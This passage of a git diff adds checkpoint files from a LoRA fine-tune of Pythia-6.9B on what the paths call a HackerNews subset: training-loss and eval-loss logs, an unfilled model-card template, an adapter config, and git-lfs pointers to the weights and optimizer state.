3.0022153854370117, + "eval_runtime": 43.8437, + "eval_samples_per_second": 22.808, + "eval_steps_per_second": 2.851, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 4.28582763671875, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6451, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 3.00771164894104, + "eval_runtime": 43.837, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8415298461914062, + "learning_rate": 1.125925925925926e-05, + "loss": 1.6865, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 3.0041346549987793, + "eval_runtime": 43.8069, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 580 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9.50392175198208e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-580/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..b89208c8c862fb93e32cc351d1bcf9f4cde8485f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cf0ac76b98e88c10567a4b9e9bbd0b7349cf2cc502a2a72993c20ffb082971da +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..f8711403ba58c767a94fea1a5f59b8a062502e49 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e15d32fae460f389e2a970839d39b69aeeb38eabf93917c1a5e4f8a61cdb4b11 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..f2cbe02e4922a4920c0a827f09f6df580967beb0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c5704b322a17ce5b2788c1247543e3ca9edc36d083fd8ecc8ca80d04334c6030 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..e93107ab0b0cdc649d183c879754ed083006f9d7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c640cac3d338c5c53c53ad351f9ec822b97e3962fe58e3c4439d6cecd03512ac +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..5a166c58604ca5ea05937e63e7d54ba2165184c4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/trainer_state.json @@ -0,0 +1,918 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 7.866666666666667, + "eval_steps": 10, + "global_step": 590, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.6704397201538086, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.6429, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 3.0016684532165527, + "eval_runtime": 43.8408, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.2405171394348145, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6654, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 3.0022153854370117, + "eval_runtime": 43.8437, + "eval_samples_per_second": 22.808, + "eval_steps_per_second": 2.851, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 4.28582763671875, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6451, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 3.00771164894104, + "eval_runtime": 43.837, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8415298461914062, + "learning_rate": 1.125925925925926e-05, + "loss": 1.6865, + "step": 580 + }, + { + "epoch": 7.733333333333333, + 